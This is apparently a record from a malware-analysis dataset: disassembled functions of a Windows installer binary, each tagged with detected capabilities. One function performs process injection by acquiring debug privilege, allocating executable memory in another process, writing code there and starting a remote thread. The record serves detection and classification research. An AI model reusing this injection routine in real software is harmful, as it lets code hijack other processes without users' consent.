joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42cd90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441d34
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_rocket.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x42cdda
jmp 0x42cee4
lea esi, [ebp - 0x14]
call fcn.00405be0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_rocket.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x446d28
lea eax, [ebp - 0x14]
call fcn.00405e60
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42ced5
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea esi, [ebp - 0xb8]
call fcn.00405be0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
movzx ecx, word [ebp - 0x1c]
push ecx
movzx edx, word [ebp - 0x1e]
push edx
movzx eax, word [ebp - 0x20]
push eax
movzx ecx, word [ebp - 0x22]
push ecx
movzx edx, word [ebp - 0x26]
push edx
movzx eax, word [ebp - 0x28]
push eax
push 0x446d30
lea edi, [ebp - 0xb8]
call fcn.004063f0
add esp, 0x20
lea eax, [ebp - 0xb8]
call fcn.00405e60
push eax
lea ecx, [ebp - 0xb4]
call fcn.00414fb0
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.004085b0
push eax
call fcn.00417310
add esp, 4
push eax
push 1
lea ecx, [ebp - 0xb4]
call fcn.004085b0
push eax
call fcn.0042189b
add esp, 0x10
mov edx, dword [ebp - 0x10]
push edx
call fcn.0041f2cf
add esp, 4
lea ecx, [ebp - 0xb4]
call fcn.00414fe0
mov byte [ebp - 4], 0
lea eax, [ebp - 0xb8]
call fcn.00405cd0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
call fcn.00405cd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret 4

Function at 0x42e060
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x42f0e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00416990
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_rocket.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push 0x446d7c
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x446e3c
lea eax, [ebp - 0x210]
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x42f170
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.00421da4
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret

Function at 0x42f210
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44157c
mov eax, dword fs:[0]
push eax
sub esp, 0x638
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x644], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.00416990
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x42f32d
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.00405c20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x620]
call fcn.0040ea90
push 0x446e94
lea ecx, [ebp - 0x620]
call fcn.004148e0
test eax, eax
je 0x42f2f7
push 0x446ea0
lea ecx, [ebp - 0x620]
call fcn.004148e0
test eax, eax
jne 0x42f31b
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405cd0
mov eax, dword [ebp - 0x624]
jmp 0x42f32f
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret 4
Function at 0x4307d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.update.cfg
mov edx, dword [ebp - 0x218]
add edx, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4475a0
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x430837
jmp 0x4308a5
mov dword [ebp - 0x214], 0
jmp 0x430852
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.0040fd50
cmp dword [ebp - 0x214], eax
jae 0x430899
mov edx, dword [ebp - 4]
push edx
push 1
push 0x410
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.00414a70
push eax
call fcn.0042189b
add esp, 0x10
jmp 0x430843
mov ecx, dword [ebp - 4]
push ecx
call fcn.0041f2cf
add esp, 4
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret

Function at 0x4311a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x3f4
call fcn.00416456
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x3f4
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00416990
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x3e8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x3ec], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x3f0], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push sym.Install_rocket.exe_private:_static_unsigned_int___stdcall_CNsUpdate::UpdateThread_void__
push 0
push 0
call fcn.00421684
add esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x431230
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4314b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00416990
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_rocket.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push str.proxy.dat
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4475bc
lea eax, [ebp - 0x210]
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x431540
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.00421da4
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret
Function at 0x431660
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441655
mov eax, dword fs:[0]
push eax
sub esp, 0x638
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x644], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.00416990
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x43177d
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.00405c20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x620]
call fcn.0040ea90
push str.gzip
lea ecx, [ebp - 0x620]
call fcn.004148e0
test eax, eax
je 0x431747
push 0x4475d0
lea ecx, [ebp - 0x620]
call fcn.004148e0
test eax, eax
jne 0x43176b
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405cd0
mov eax, dword [ebp - 0x624]
jmp 0x43177f
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret 4
Function at 0x4335e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x14]
call sym.Install_rocket.exe_public:_int___thiscall_CNsDownload::AddTask_wchar_t_const___wchar_t_const__
test eax, eax
jne 0x433602
jmp 0x433694
mov edx, dword [ebp - 0x14]
mov byte [edx + 0x1ac], 0
push 0x5fc
call fcn.00416456
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx + 0x5f0], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [ecx + 0x5f4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 0x5f8], ecx
lea edx, [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
push sym.Install_rocket.exe_private:_static_unsigned_long_int___stdcall_CNsDownload::DownloadThread_void__
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x433694
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4336c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4
Function at 0x433710
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
push 1
push 0x447ba4
call sym.Install_rocket.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x433749
xor al, al
jmp 0x4338aa
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x433770
xor al, al
jmp 0x4338aa
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x433798
xor al, al
jmp 0x4338aa
push 0xc
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.00416990
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push str.LoadLibraryA
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x447bf4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
cmp dword [ebp + 0x14], 0
je 0x433832
push 0x40
push 0x1000
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x433807
xor al, al
jmp 0x4338aa
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x43382c
xor al, al
jmp 0x4338aa
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
push 0x40
push 0x1000
push 0xc
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x433854
xor al, al
jmp 0x4338aa
push 0
push 0xc
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x433877
xor al, al
jmp 0x4338aa
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43389e
xor al, al
jmp 0x4338aa
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4338b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp + 8]
call fcn.00413e90
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
push 0x22c
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.00416990
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43391d
xor al, al
jmp 0x43398f
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp + 8]
call fcn.00413d80
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x433948
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x43398f
push 0x22c
push 0
lea edx, [ebp - 0x238]
push edx
call fcn.00416990
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43391d
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret 4

Function at 0x433af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00416990
add esp, 0xc
mov dword [ebp - 0x214], 0x208
lea edx, [ebp - 0x21c]
push edx
mov eax, dword [ebp + 8]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x433ba5
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x433b90
mov dword [ebp - 0x218], 1
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x218]
jmp 0x433bab
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret
Function at 0x433fc0
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x453080]
xor eax, ebp
mov dword [ebp - 0xc], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x433fec
xor eax, eax
jmp 0x434049
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x434016
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x434049
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00415d4a
mov esp, ebp
pop ebp
ret

Function at 0x434060
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x434085
xor eax, eax
jmp 0x434150
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push 1
push 3
push 1
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x434100
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x4340f2
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4340f0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x434150
jmp 0x434100
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x434150
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x434137
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
je 0x434137
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x434150
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4348d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x4481c8
mov eax, dword [ebp + 8]
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4348f2
xor eax, eax
jmp 0x434919
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.0042189b
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call fcn.0041f2cf
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x434920
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x4481c0
mov eax, dword [ebp + 8]
push eax
call fcn.004219de
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x434942
xor eax, eax
jmp 0x434970
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00421da4
add esp, 0x10
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 4]
push eax
call fcn.0041f2cf
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4349e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0xc], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
push eax
movzx ecx, word [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x434a1b
xor eax, eax
jmp 0x434ad6
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x434a39
xor eax, eax
jmp 0x434ad6
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x434a6b
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
jmp 0x434ad6
mov eax, dword [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x434a84
jmp 0x434ac9
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004173a0
add esp, 0xc
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 0xc]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret